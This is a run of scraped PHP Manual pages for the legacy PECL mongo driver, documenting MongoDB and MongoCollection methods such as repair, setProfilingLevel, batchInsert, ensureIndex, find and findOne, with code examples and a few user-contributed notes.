According to kristina1 in #mongodb, there will be a proper helper (listDatabases() I presume ) for this command in a later version.
MongoDB::lastError
MongoDB::prevError
MongoDB


Checks for the last error thrown during a database operation

MongoDB::listCollections
MongoDB::repair
MongoDB
PHP Manual

MongoDB::prevError

(PECL mongo >=0.9.5)

MongoDB::prevError — Checks for the last error thrown during a database operation

Description

public array MongoDB::prevError ( void )

MongoDB::lastError() is usually preferred to this. This method returns the last database error that occurred and how many operations ago it occurred. It is mostly deprecated.

Parameters

This function has no parameters.

Return Values

Returns the error and the number of operations ago it occurred.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::listCollections
MongoDB::repair
MongoDB


Repairs and compacts this database

MongoDB::prevError
MongoDB::resetError
MongoDB
PHP Manual

MongoDB::repair

(PECL mongo >=0.9.0)

MongoDB::repair — Repairs and compacts this database

Description

public array MongoDB::repair ([ bool $preserve_cloned_files = FALSE [, bool $backup_original_files = FALSE ]] )

This creates a fresh copy of all database data. It will remove any corrupt data and compact and large stretches of free space it finds. This is a very slow operation on a large database.

This is usually run from the shell or the command line, not the driver.

It is equivalent to the function:

<?php

public function repair() {
    return $this->command(array('repairDatabase' => 1));
}

?>

Parameters

preserve_cloned_files

If cloned files should be kept if the repair fails.

backup_original_files

If original files should be backed up.

Return Values

Returns db response.

See Also

MongoDB core docs on » repair.

Examples

Example #1 MongoDB::repair() example

This example demonstrates how to repare and compact a database.

<?php

$db = $mongo->foo;

$response = $db->repair();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::prevError
MongoDB::resetError
MongoDB


Clears any flagged errors on the database

MongoDB::repair
MongoDB::selectCollection
MongoDB
PHP Manual

MongoDB::resetError

(PECL mongo >=0.9.5)

MongoDB::resetError — Clears any flagged errors on the database

Description

public array MongoDB::resetError ( void )

This method is not used in normal operations. It resets the database error tracker (which can be incremented with MongoDB::forceError(), also not normally used).

It is equivalent to running:

<?php

public function resetError() {
    return $this->command(array('reseterror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::repair
MongoDB::selectCollection
MongoDB


Gets a collection

MongoDB::resetError
MongoDB::setProfilingLevel
MongoDB
PHP Manual

MongoDB::selectCollection

(PECL mongo >=0.9.0)

MongoDB::selectCollection — Gets a collection

Description

public MongoCollection MongoDB::selectCollection ( string $name )

Parameters

name

The name of the collection.

Return Values

Returns the collection.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::resetError
MongoDB::setProfilingLevel
MongoDB


Sets this database's profiling level

MongoDB::selectCollection
MongoDB::setSlaveOkay
MongoDB
PHP Manual

MongoDB::setProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::setProfilingLevel — Sets this database's profiling level

Description

public int MongoDB::setProfilingLevel ( int $level )

This changes the current database profiling level.

This function is equivalent to running:

<?php

public function setProfilingLevel($level) {
    return $this->command(array('profile' => $level));
}

?>

The options for level are 0 (off), 1 (queries > 100ms), and 2 (all queries). If you would like to profile queries that take longer than another time period, use the database command and pass it a second option, the number of milliseconds. For example, to profile all queries that take longer than one second, run:

<?php

$result = $this->command(array('profile' => 1, 'slowms' => 1000));

?>

Profiled queries will appear in the system.profile collection of this database.

Parameters

level

Profiling level.

Return Values

Returns the previous profiling level.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::selectCollection
MongoDB::setSlaveOkay
MongoDB


Change slaveOkay setting for this database

MongoDB::setProfilingLevel
MongoDB::__toString
MongoDB
PHP Manual

MongoDB::setSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::setSlaveOkay — Change slaveOkay setting for this database

Description

public bool MongoDB::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to slaves.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoDB instance.

Return Values

Returns the former value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::setProfilingLevel
MongoDB::__toString
MongoDB


The name of this database

MongoDB::setSlaveOkay
MongoCollection
MongoDB
PHP Manual

MongoDB::__toString

(PECL mongo >=0.9.0)

MongoDB::__toString — The name of this database

Description

public string MongoDB::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns this database's name.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::setSlaveOkay
MongoCollection
MongoDB


The MongoCollection class

(No version information available, might only be in SVN)

Introduction

Representations a database collection.

Collection names can use any character in the ASCII set. Some valid collection names are "", "...", "my collection", and "*&#@".

User-defined collection names cannot contain the $ symbol. There are certain system collections which use a $ in their names (e.g., local.oplog.$main), but it is a reserved character. If you attempt to create and use a collection with a $ in the name, MongoDB will assert.

Class synopsis

MongoCollection {
/* Constants */
const int ASCENDING = 1 ;
const int DESCENDING = -1 ;
/* Fields */
public MongoDB $db = NULL ;
public integer $w ;
public integer $wtimeout ;
/* Methods */
public mixed batchInsert ( array $a [, array $options = array() ] )
public __construct ( MongoDB $db , string $name )
public int count ([ array $query = array() [, int $limit = 0 [, int $skip = 0 ]]] )
public array createDBRef ( array $a )
public array deleteIndex ( string|array $keys )
public array deleteIndexes ( void )
public array drop ( void )
public bool ensureIndex ( string|array $key|keys [, array $options = array() ] )
public MongoCursor find ([ array $query = array() [, array $fields = array() ]] )
public array findOne ([ array $query = array() [, array $fields = array() ]] )
public MongoCollection __get ( string $name )
public array getDBRef ( array $ref )
public array getIndexInfo ( void )
public string getName ( void )
public bool getSlaveOkay ( void )
public array group ( mixed $keys , array $initial , MongoCode $reduce [, array $options = array() ] )
public bool|array insert ( array $a [, array $options = array() ] )
public bool|array remove ([ array $criteria = array() [, array $options = array() ]] )
public mixed save ( array $a [, array $options = array() ] )
public bool setSlaveOkay ([ bool $ok = true ] )
static protected string toIndexString ( mixed $keys )
public string __toString ( void )
public bool|array update ( array $criteria , array $new_object [, array $options = array() ] )
public array validate ([ bool $scan_data = FALSE ] )
}

Predefined Constants

MongoCollection::ASCENDING
1
Ascending direction for sorts and index creation.
MongoCollection::DESCENDING
-1
Descending direction for sorts and index creation.

Fields

db

The "parent" database for this collection.

w

The number of servers to replicate a change to before returning success. Value is inherited from the parent database. The MongoDB class has a more detailed description of how w works.

wtimeout

The number of milliseconds to wait for $this->w replications to take place. Value is inherited from the parent database. The MongoDB class has a more detailed description of how wtimeout works.

See Also

MongoDB core docs on » collections.

Table of Contents

  • MongoCollection::batchInsert — Inserts multiple documents into this collection
  • MongoCollection::__construct — Creates a new collection
  • MongoCollection::count — Counts the number of documents in this collection
  • MongoCollection::createDBRef — Creates a database reference
  • MongoCollection::deleteIndex — Deletes an index from this collection
  • MongoCollection::deleteIndexes — Delete all indices for this collection
  • MongoCollection::drop — Drops this collection
  • MongoCollection::ensureIndex — Creates an index on the given field(s), or does nothing if the index already exists
  • MongoCollection::find — Querys this collection, returning a MongoCursor for the result set
  • MongoCollection::findOne — Querys this collection, returning a single element
  • MongoCollection::__get — Gets a collection
  • MongoCollection::getDBRef — Fetches the document pointed to by a database reference
  • MongoCollection::getIndexInfo — Returns information about indexes on this collection
  • MongoCollection::getName — Returns this collection's name
  • MongoCollection::getSlaveOkay — Get slaveOkay setting for this collection
  • MongoCollection::group — Performs an operation similar to SQL's GROUP BY command
  • MongoCollection::insert — Inserts an array into the collection
  • MongoCollection::remove — Remove records from this collection
  • MongoCollection::save — Saves an object to this collection
  • MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection
  • MongoCollection::toIndexString — Converts keys specifying an index to its identifying string
  • MongoCollection::__toString — String representation of this collection
  • MongoCollection::update — Update records based on a given criteria
  • MongoCollection::validate — Validates this collection

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::__toString
MongoCollection::batchInsert
Core Classes


Inserts multiple documents into this collection

MongoCollection
MongoCollection::__construct
MongoCollection
PHP Manual

MongoCollection::batchInsert

(PECL mongo >=0.9.0)

MongoCollection::batchInsert — Inserts multiple documents into this collection

Description

public mixed MongoCollection::batchInsert ( array $a [, array $options = array() ] )

Parameters

a

An array of arrays.

options

Options for the inserts.

  • "safe"

    Can be a boolean or integer, defaults to FALSE. If FALSE, the program continues executing without waiting for a database response. If TRUE, the program will wait for the database response and throw a MongoCursorException if the insert did not succeed.

    If safe is an integer, will replicate the insert to that many machines before returning success (or throw an exception if the replication times out, see wtimeout). This overrides the w variable set on the collection.

  • "fsync"

    Boolean, defaults to FALSE. Forces the insert to be synced to disk before returning success. If TRUE, a safe insert is implied and will override setting safe to FALSE.

Return Values

If "safe" is set, returns an associative array with the status of the inserts ("ok") and any error that may have occured ("err"). Otherwise, returns TRUE if the batch insert was successfully sent, FALSE otherwise.

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the insert fails.

Throws MongoCursorTimeoutException if the "safe" option is set to a value greater than one and the database cannot replicate the operation in MongoCollection::$wtimeout milliseconds.

Changelog

Version | Description
1.0.5 | Added "options" parameter.
1.0.9 | Added ability to pass integers to "safe" options (only accepted booleans before) and added "fsync" option.

Examples

Example #1 MongoCollection::batchInsert() example

Batch insertion is a quick way to add many elements to the database at once

<?php

$users = array();
for ($i = 0; $i<100; $i++) {
  $users[] = array('username' => 'user'.$i, 'i' => $i);
}

$mongo = new Mongo();
$collection = $mongo->my_db->users;
$collection->drop();

$collection->batchInsert($users);

foreach ($users as $user) {
  echo $user['_id']."\n"; // populated with instanceof MongoId
}

$users = $collection->find()->sort(array('i' => 1));
foreach ($users as $user) {
    var_dump($user['username']);
}

?>

The above example will output something similar to:

4bf43ac68ead0e1971000000
4bf43ac68ead0e1971010000
4bf43ac68ead0e1971020000
...
string(5) "user1"
string(5) "user2"
string(5) "user3"
...

See Also

  • MongoCollection::insert() - Inserts an array into the collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoCollection::find() - Querys this collection, returning a MongoCursor for the result set
  • MongoCollection::remove() - Remove records from this collection
  • MongoDB core docs on » insert.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection
MongoCollection::__construct
MongoCollection


Creates a new collection

MongoCollection::batchInsert
MongoCollection::count
MongoCollection
PHP Manual

MongoCollection::__construct

(PECL mongo >=0.9.0)

MongoCollection::__construct — Creates a new collection

Description

public MongoCollection::__construct ( MongoDB $db , string $name )

Parameters

MongoDB db

Parent database.

name

Name for this collection.

Return Values

Returns a new collection object.

Errors/Exceptions

Throws default exception if the collection name is invalid.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::batchInsert
MongoCollection::count
MongoCollection


Counts the number of documents in this collection

MongoCollection::__construct
MongoCollection::createDBRef
MongoCollection
PHP Manual

MongoCollection::count

(PECL mongo >=0.9.0)

MongoCollection::count — Counts the number of documents in this collection

Description

public int MongoCollection::count ([ array $query = array() [, int $limit = 0 [, int $skip = 0 ]]] )

Parameters

query

Associative array or object with fields to match.

limit

Specifies an upper limit to the number returned.

skip

Specifies a number of results to skip before starting the count.

Return Values

Returns the number of documents matching the query.

Changelog

Version | Description
1.0.7 | Added limit and skip parameters.

Examples

Example #1 MongoCollection::count() example

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

var_dump($collection->count());
var_dump($collection->count(array('x'=>1)));

?>

The above example will output something similar to:

int(3)
int(1)

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::__construct
MongoCollection::createDBRef
MongoCollection


Creates a database reference

MongoCollection::count
MongoCollection::deleteIndex
MongoCollection
PHP Manual

MongoCollection::createDBRef

(PECL mongo >=0.9.0)

MongoCollection::createDBRef — Creates a database reference

Description

public array MongoCollection::createDBRef ( array $a )

Parameters

a

Object to which to create a reference.

Return Values

Returns a database reference array.

Examples

Example #1 MongoCollection::createDBRef() example

<?php

$songs = $db->songs;
$playlists = $db->playlists;

// create a reference to a song
$manamana = $songs->findOne(array('title' => 'Ma na ma na'));
$refToSong = $songs->createDBRef($manamana);

// add the reference to my playlist
$playlists->update(array('username' => 'me'), array('$push' => array('songlist' => $refToSong)));

?>

See Also

  • MongoCollection::getDBRef() - Fetches the document pointed to by a database reference

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::count
MongoCollection::deleteIndex
MongoCollection


Deletes an index from this collection

MongoCollection::createDBRef
MongoCollection::deleteIndexes
MongoCollection
PHP Manual

MongoCollection::deleteIndex

(PECL mongo >=0.9.0)

MongoCollection::deleteIndex — Deletes an index from this collection

Description

public array MongoCollection::deleteIndex ( string|array $keys )

This method is identical to:

<?php

public function deleteIndexes($keys) {
  // toIndexString is a protected method that turns strings, arrays, and objs
  //into index names
  $index = $this->toIndexString($keys);

  return $this->db->command(array("deleteIndexes" => $this->getName(),
    "index" => $index);
}

?>

Each index, when created, is given a unique name. This is generally user-set (with MongoCollection::ensureIndex()'s "name" option) or generated by the driver from a combination of key names and directions. This name is then used by MongoCollection::deleteIndex() to remove the function.

Unfortunately, the MongoCollection::ensureIndex() generates slightly different names than the shell and, due to backwards compatibility issues, MongoCollection::deleteIndex() cannot delete custom-named indexes as well. Thus, the best way to delete indexes created in the shell or with custom names is to directly call the deleteIndexes database command.

Thus, if you named an index "superfast query", you could only delete it with the PHP driver by running:

<?php

$db->command(array("deleteIndexes" => $collection->getName(), "index" => "superfast query");

?>

To find what an index is named, you can query the system.indexes collection of a database and look for the name field.

Parameters

keys

Field or fields from which to delete the index.

Return Values

Returns the generated name of the key if successful, or NULL otherwise.

Examples

Example #1 MongoCollection::deleteIndex() example

This example passes the function string and array parameters.

<?php
$m = new Mongo();
$c = $m->example->indices;

// create an index
$c->ensureIndex(array("i"=>1));

// remove a simple index
$c->deleteIndex("i");

// create a multi-key index
$c->ensureIndex(array("j" => 1, "k" => 1));

// remove a multi-key index
$c->deleteIndex(array("j" => 1, "k" => 1));
?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::createDBRef
MongoCollection::deleteIndexes
MongoCollection


Delete all indices for this collection

MongoCollection::deleteIndex
MongoCollection::drop
MongoCollection
PHP Manual

MongoCollection::deleteIndexes

(PECL mongo >=0.9.0)

MongoCollection::deleteIndexes — Delete all indices for this collection

Description

public array MongoCollection::deleteIndexes ( void )

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoCollection::deleteIndexes() example

This example demonstrates how to delete all indexes from a collection and the response to expect.

<?php

$collection = $mongo->my_db->articles;
$response = $collection->deleteIndexes();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::deleteIndex
MongoCollection::drop
MongoCollection


Drops this collection

MongoCollection::deleteIndexes
MongoCollection::ensureIndex
MongoCollection
PHP Manual

MongoCollection::drop

(PECL mongo >=0.9.0)

MongoCollection::drop — Drops this collection

Description

public array MongoCollection::drop ( void )

Drops this collection and deletes its indices.

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoCollection::drop() example

This example demonstrates how to drop a collection and the response to expect.

<?php

$collection = $mongo->my_db->articles;
$response = $collection->drop();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [nIndexesWas] => 1
    [msg] => all indexes deleted for collection
    [ns] => my_db.articles
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::deleteIndexes
MongoCollection::ensureIndex
MongoCollection


Creates an index on the given field(s), or does nothing if the index already exists

MongoCollection::drop
MongoCollection::find
MongoCollection
PHP Manual

MongoCollection::ensureIndex

(PECL mongo >=0.9.0)

MongoCollection::ensureIndex — Creates an index on the given field(s), or does nothing if the index already exists

Description

public bool MongoCollection::ensureIndex ( string|array $key|keys [, array $options = array() ] )

This method creates an index on the collection and the specified fields. The key specification can either be just a single field name as string, or an array containing one or more field names with their sort direction.

Parameters

keys

An array of fields by which to sort the index on. Each element in the array has as key the field name, and as value either 1 for ascending sort, or -1 for descending sort.

options

This parameter is an associative array of the form array("optionname" => <boolean>, ...). Currently supported options are:

  • "unique"

    Create a unique index.

    Warning

    A unique index cannot be created on a field if multiple existing documents do not contain the field. The field is effectively NULL for these documents and thus already non-unique.

  • "dropDups"

    If a unique index is being created and duplicate values exist, drop all but one duplicate value.

  • "background"

    If you are using MongoDB version 1.3.2+, you can create indexes in the background while other operations are taking place. By default, index creation happens synchronously. If you specify TRUE with this option, index creation will be asynchronous.

  • "safe"

    Starting with driver version 1.0.4, you can specify a boolean value for checking if the index creation succeeded. The driver will throw a MongoCursorException if index creation failed.

    If you are using replication and the master has changed, using "safe" will make the driver disconnect from the master, throw and exception, and attempt to find a new master on the next operation (your application must decide whether or not to retry the operation on the new master).

    If you do not use "safe" with a replica set and the master changes, there will be no way for the driver to know about the change so it will continuously and silently fail to write.

  • "name"

    Starting with driver version 1.0.5 you can specify an index name. This can be useful if you are indexing many keys and Mongo complains about the index name being too long.

  • "timeout"

    Integer, defaults to MongoCursor::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Return Values

Returns TRUE.

Changelog

Version | Description
1.0.2 | Changed "options" parameter from boolean to array. Pre-1.0.2, the second parameter was an optional boolean value specifying a unique index.
1.0.11 | "safe" will trigger master failover, if necessary.
1.0.11 | MongoException will be thrown if index name (either generated or set) is longer than 128 bytes.
1.2.0 | Added timeout option.
1.3.0 | The options parameter does no longer accept just a boolean to signify a unique index. Instead, this now has to be done with array('unique' => true).

Errors/Exceptions

Throws MongoException if the index name is longer than 128 bytes. (Version 1.0.11+)

Throws MongoCursorException if the "safe" option is set and the index creation fails.

Throws MongoCursorTimeoutException if the "safe" option is set and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout.

Examples

Example #1 MongoCollection::ensureIndex() example

<?php

$c = new MongoCollection($db, 'foo');

// create an index on 'x' ascending
$c->ensureIndex('x');

// create an index on 'y' ascending
$c->ensureIndex(array('y' => 1));

// create an index on 'z' ascending and 'zz' descending
$c->ensureIndex(array('z' => 1, 'zz' => -1));

// create a unique index on 'x'
$c->ensureIndex(array('x' => 1), array("unique" => true));

?>

Example #2 Drop duplicates example

<?php

$collection->insert(array("username" => "joeschmoe"));
$collection->insert(array("username" => "joeschmoe"));

/*
 * index creation fails, you can't create a unique index on a key with
 * non-unique values
 */
$collection->ensureIndex(array("username" => 1), array("unique" => 1));

/*
 * index creation succeeds: one of the documents is removed from the collection
 */
$collection->ensureIndex(array("username" => 1), array("unique" => 1, "dropDups" => 1));

/*
 * now we have a unique index, more inserts with the same username (such as the
 * one below) will fail
 */
$collection->insert(array("username" => "joeschmoe"));

?>

Example #3 Geospatial Indexing

Mongo supports geospatial indexes, which allow you to search for documents near a given location or within a shape. For example, to create a geospatial index on the "loc" field:

<?php

$collection->ensureIndex(array("loc" => "2d"));

?>

See Also

MongoDB core docs on » vanilla indexes and » geospatial indexes.

User Contributed Notes

alan dot lake at lakeinfoworks dot com 26-Aug-2010 08:45
The statement
<?php
$c->ensureIndex(array('x' => 1), array("unique" => true));
?>
will prevent a document with a duplicate key ('x') from being added to the connection, but will not throw an exception.  To cause an exception to be thrown, use the "safe"=>true option in the insert statement.
MongoCollection::drop
MongoCollection::find
MongoCollection


Querys this collection, returning a MongoCursor for the result set

MongoCollection::ensureIndex
MongoCollection::findOne
MongoCollection
PHP Manual

MongoCollection::find

(PECL mongo >=0.9.0)

MongoCollection::find — Querys this collection, returning a MongoCursor for the result set

Description

 public MongoCursor MongoCollection::find
  ([ array $query = array()
 [, array $fields = array()
]] )

Parameters

query

The fields for which to search. MongoDB's query language is quite extensive. The PHP driver will in almost all cases pass the query straight through to the server, so reading the MongoDB core docs on » find is a good idea.

Warning

Please make sure that for all special query operaters (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

fields

Fields of the results to return. The array is in the format array('fieldname' => true, 'fieldname2' => true). The _id field is always returned.

Return Values

Returns a cursor for the search results.

Examples

Example #1 MongoCollection::find() example

This example demonstrates how to search for a range.

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

// search for documents where 5 < x < 20
$rangeQuery = array('x' => array( '$gt' => 5, '$lt' => 20 ));

$cursor = $collection->find($rangeQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

The above example will output:

array(2) {
  ["_id"]=>
  object(MongoId)#10 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000000"
  }
  ["x"]=>
  int(12)
}
array(2) {
  ["_id"]=>
  object(MongoId)#11 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000001"
  }
  ["x"]=>
  int(12)
}

See MongoCursor for more information how to work with cursors.

Example #2 MongoCollection::find() example using $where

This example demonstrates how to search a collection using javascript code to reduce the resultset.

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$js = "function() {
    return this.name == 'Joe' || this.age == 50;
}";
$cursor = $collection->find(array('$where' => $js));
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

The above example will output:

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

Example #3 MongoCollection::find() example using $in

This example demonstrates how to search a collection using the $in operator.

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find(array(
    'name' => array('$in' => array('Joe', 'Wendy'))
));

?>

The above example will output:

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

Example #4 Getting results as an array

This returns a MongoCursor. Often, when people are starting out, they are more comfortable using an array. To turn a cursor into an array, use the iterator_to_array() function.

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find();
$array = iterator_to_array($cursor);

?>

The above example will output:

array(3) {
  ["4ebc40af10b89f5149000000"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#6 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000000"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000001"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#11 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000001"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000002"]=>
  array(3) {
    ["_id"]=>
    object(MongoId)#12 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000002"
    }
    ["name"]=>
    string(3) "Joe"
    ["age"]=>
    int(20)
  }
}

Using iterator_to_array() forces the driver to load all of the results into memory, so do not do this for result sets that are larger than memory!

Also, certain system collections do not have an _id field. If you are dealing with a collection that might have documents without _ids, pass FALSE as the second argument to iterator_to_array() (so that it will not try to use the non-existent _id values as keys).

See Also

  • MongoCollection::findOne() - Querys this collection, returning a single element
  • MongoCollection::insert() - Inserts an array into the collection
  • MongoDB core docs on » find.

User Contributed Notes

Andrew Rose (blog.andrewrose.co.uk) 20-Sep-2011 07:48
An undocumented feature is that you can pass a stdClass instead of an array to $fields which will allow you to get around the issue of PHP casting string values to integers which mongo doesn't like.  i.e.

array('123' => 0, '321' => 0);

becomes:

array(213 => 0, 312 => 0);

which will trip up with the error:

PHP Fatal error:  Uncaught exception 'MongoException' with message 'field names must be strings'

The fix is as simple as:

<?php
$fields = new stdClass;
$fields->{123} = 0;
$fields->{321} = 0;
?>
nospam at alexyves dot fr 09-Dec-2010 06:28
This will work with versions >=1.5.3, please note that this is just a example of the way to use the or statement.

<?php
  $connection = new Mongo();

  $db = $connection->test;
  $collection = $db->test;
  // Clean the DB before the test.
  $collection->drop();
  $collection = $db->test;

  $apple = array(
    'fruit' => 'Apple',
    'type' => 'Juice',
  );

  $orange = array(
    'fruit' => 'Orange',
    'type' => 'Marmalade',
  );

  $collection->insert($apple);
  $collection->insert($orange);

  // Basic find
  $results = $collection->find(array('fruit' => 'Apple'));

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice

Now an advanced search with "or" statement.

<?php
  // Advanced find with "OR" note the double array.
  // if you use double quotes escape the or "\$or"
  $results = $collection->find( array( '$or' => array( array('fruit' => 'Apple'), array('fruit' => 'Orange') ) ) );

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice
Fruit: Orange, Type: Marmalade
MongoCollection::ensureIndex
MongoCollection::findOne
MongoCollection


Querys this collection, returning a single element

MongoCollection::find
MongoCollection::__get
MongoCollection
PHP Manual

MongoCollection::findOne

(PECL mongo >=0.9.0)

MongoCollection::findOne — Querys this collection, returning a single element

Description

 public array MongoCollection::findOne
  ([ array $query = array()
 [, array $fields = array()
]] )

As opposed to MongoCollection::find(), this method will return only the first result from the result set, and not a MongoCursor that can be iterated over.

Parameters

query

The fields for which to search. MongoDB's query language is quite extensive. The PHP driver will in almost all cases pass the query straight through to the server, so reading the MongoDB core docs on » find is a good idea.

Warning

Please make sure that for all special query operaters (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

fields

Fields of the results to return. The array is in the format array('fieldname' => true, 'fieldname2' => true). The _id field is always returned.

Return Values

Returns record matching the search or NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

Examples

Example #1 MongoCollection::findOne() document by its id.

This example demonstrates how to find a single document in a collection by its id.

<?php

$articles = $mongo->my_db->articles;

$article = $articles->findOne(array('_id' => new MongoId('47cc67093475061e3d9536d2')));

?>

Example #2 MongoCollection::findOne() document by some condition.

This example demonstrates how to find a single document in a collection by some condition and limiting the returned fields.

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password'));
print_r($user);

?>

The above example will output something similar to:

Array
(
    [_id] => MongoId Object
        (
        )

    [password] => test
)

Notice how even though the document does have a username field, we limited the results to only contain the password field.

See Also

  • MongoCollection::find() - Querys this collection, returning a MongoCursor for the result set
  • MongoCollection::insert() - Inserts an array into the collection
  • MongoDB core docs on » find.

User Contributed Notes

ejs5 at g2link dot com 09-Dec-2010 08:30
Special characters seem to be automatically escaped by the Mongo driver.

<?php

$db = $mongo->my_db->wireless_service_providers;
$provider = $db->findOne(array("name" => "AT&T"), array('_id' => 1));
print_r($provider);

?>

if the value is stored as "AT&T" in the document you will get

Array([_id]=>)

but if the value is stored as "AT&AMP;T" it will return

Array ( [_id] => MongoId Object ( ) )
dominik at dokdok dot com 30-Sep-2010 11:44
There is also a notation to retrieve all fields, but the specified ones

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password' => 0));
print_r($user);

?>

Will return all fields of the user, but the password field.
MongoCollection::find
MongoCollection::__get
MongoCollection


Gets a collection

MongoCollection::findOne
MongoCollection::getDBRef
MongoCollection
PHP Manual

MongoCollection::__get

(PECL mongo >=1.0.2)

MongoCollection::__get — Gets a collection

Description

public MongoCollection MongoCollection::__get ( string $name )

A concise syntax for getting a collection with a dot-separated name. If a collection name contains strange characters, you may have to use MongoDB::selectCollection() instead.

<?php

$mongo = new Mongo();

// the following two lines are equivalent
$collection = $mongo->selectDB("foo")->selectCollection("bar.baz");
$collection = $mongo->foo->bar->baz;

?>

Parameters

name

The next string in the collection name.

Return Values

Returns the collection.

User Contributed Notes

There are no user contributed notes for this page.
MongoCollection::findOne
MongoCollection::getDBRef
MongoCollection


Fetches the document pointed to by a database reference

MongoCollection::__get
MongoCollection::getIndexInfo
MongoCollection
PHP Manual

MongoCollection::getDBRef

(PECL mongo >=0.9.0)

MongoCollection::getDBRef — Fetches the document pointed to by a database reference

Description

public array MongoCollection::getDBRef ( array $ref )

Parameters

ref

A database reference.

Return Values

Returns the database document pointed to by the reference.

Examples

Example #1 MongoCollection::getDBRef() example

<?php

$playlists = $db->playlists;

$myList = $playlists->findOne(array('username' => 'me'));

// fetch each song in the playlist
foreach ($myList['songlist'] as $songRef) {
    $song = $playlists->getDBRef($songRef);
    echo $song['title'] . "\n";
}

?>

The above example will output something similar to:

Dazed and Confused
Ma na ma na
Bohemian Rhapsody

In the above example each $songRef looks something like the following:
    Array
    (
        [$ref] => songs
        [$id] => 49902cde5162504500b45c2c
    )

See Also

  • MongoCollection::createDBRef() - Creates a database reference

User Contributed Notes

manuel at dziubas dot de 17-Apr-2011 10:10
The "$id" has to be a

new MongoId("...")

in PHP driver!

Ref:
array(
  "$ref" => "other_collection",
  "$id" => new MongoId("the_referenced_dataobject_id")
)
MongoCollection::__get
MongoCollection::getIndexInfo
MongoCollection


Returns information about indexes on this collection

MongoCollection::getDBRef
MongoCollection::getName
MongoCollection
PHP Manual

MongoCollection::getIndexInfo

(PECL mongo >=0.9.0)

MongoCollection::getIndexInfo — Returns information about indexes on this collection

Description

public array MongoCollection::getIndexInfo ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array in which each elements describes an array. The elements contain the values name for the name of the index, ns for the namespace (the name of the collection), key containing a list of all the keys and their sort order that make up the index and _id containing a MongoID object with the ID of this index.

Examples

Example #1 MongoCollection::find() example

This example demonstrates how to search for a range.

<?php

$m = new Mongo;
$c = $m->selectCollection('project', 'outfits');
var_dump($c->getIndexInfo());

?>

The above example will output:

array(8) {
  [0] =>
  array(3) {
    'name' =>
    string(4) '_id_'
    'ns' =>
    string(12) 'project.outfits'
    'key' =>
    array(1) {
      '_id' =>
      int(1)
    }
  }
...
